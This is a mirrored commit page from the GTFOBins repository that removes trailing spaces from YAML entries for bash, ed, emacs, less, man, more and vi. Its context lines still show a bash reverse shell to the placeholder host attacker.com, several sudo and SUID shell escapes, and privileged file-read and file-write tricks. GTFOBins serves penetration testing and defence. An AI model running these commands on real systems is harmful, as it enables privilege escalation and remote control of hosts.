mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Fix trailing spaces
This commit is contained in:
parent
89985be143
commit
004b4bf828
@ -49,8 +49,7 @@ load-library:
|
||||
file-read:
|
||||
label: File read
|
||||
description: It reads files and may be used to do privileged reads or disclose files outside a restricted environment.
|
||||
|
||||
|
||||
file-write:
|
||||
label: File write
|
||||
description: It writes files and may be used to do privileged writes or write files outside a restricted environment.
|
||||
|
@ -40,7 +40,7 @@ functions:
|
||||
export RHOST=attacker.com
|
||||
export RPORT=12345
|
||||
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
|
||||
file-read:
|
||||
file-read:
|
||||
- description: It trims trailing newlines.
|
||||
code: |
|
||||
export LFILE=file_to_read
|
||||
|
@ -12,10 +12,10 @@ functions:
|
||||
- code: |-
|
||||
./ed
|
||||
!/bin/sh
|
||||
file-read:
|
||||
file-read:
|
||||
- code: |
|
||||
ed file_to_read
|
||||
file-write:
|
||||
file-write:
|
||||
- code: |
|
||||
ed file_to_write
|
||||
w
|
||||
|
@ -6,10 +6,10 @@ functions:
|
||||
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
|
||||
suid-enabled:
|
||||
- code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
|
||||
file-read:
|
||||
file-read:
|
||||
- code: |
|
||||
emacs file_to_read
|
||||
file-write:
|
||||
file-write:
|
||||
- code: |
|
||||
emacs file_to_write
|
||||
C-x C-s
|
||||
|
@ -15,7 +15,7 @@ functions:
|
||||
- code: |-
|
||||
./less /etc/profile
|
||||
!/bin/sh
|
||||
file-read:
|
||||
file-read:
|
||||
- code: |
|
||||
less file_to_read
|
||||
---
|
||||
|
@ -12,7 +12,7 @@ functions:
|
||||
- code: |-
|
||||
./man man
|
||||
!/bin/sh
|
||||
file-read:
|
||||
file-read:
|
||||
- code: |
|
||||
man file_to_read
|
||||
---
|
||||
|
@ -12,7 +12,7 @@ functions:
|
||||
- code: |-
|
||||
TERM= ./more /etc/profile
|
||||
!/bin/sh
|
||||
file-read:
|
||||
file-read:
|
||||
- code: |
|
||||
more file_to_read
|
||||
---
|
||||
|
@ -10,10 +10,10 @@ functions:
|
||||
- code: sudo vi -c ':!/bin/sh'
|
||||
suid-enabled:
|
||||
- code: ./vi -c ':!/bin/sh -p'
|
||||
file-read:
|
||||
file-read:
|
||||
- code: |
|
||||
vi file_to_read
|
||||
file-write:
|
||||
file-write:
|
||||
- code: |
|
||||
vi file_to_write
|
||||
w
|
||||
|
Loading…
Reference in New Issue
Block a user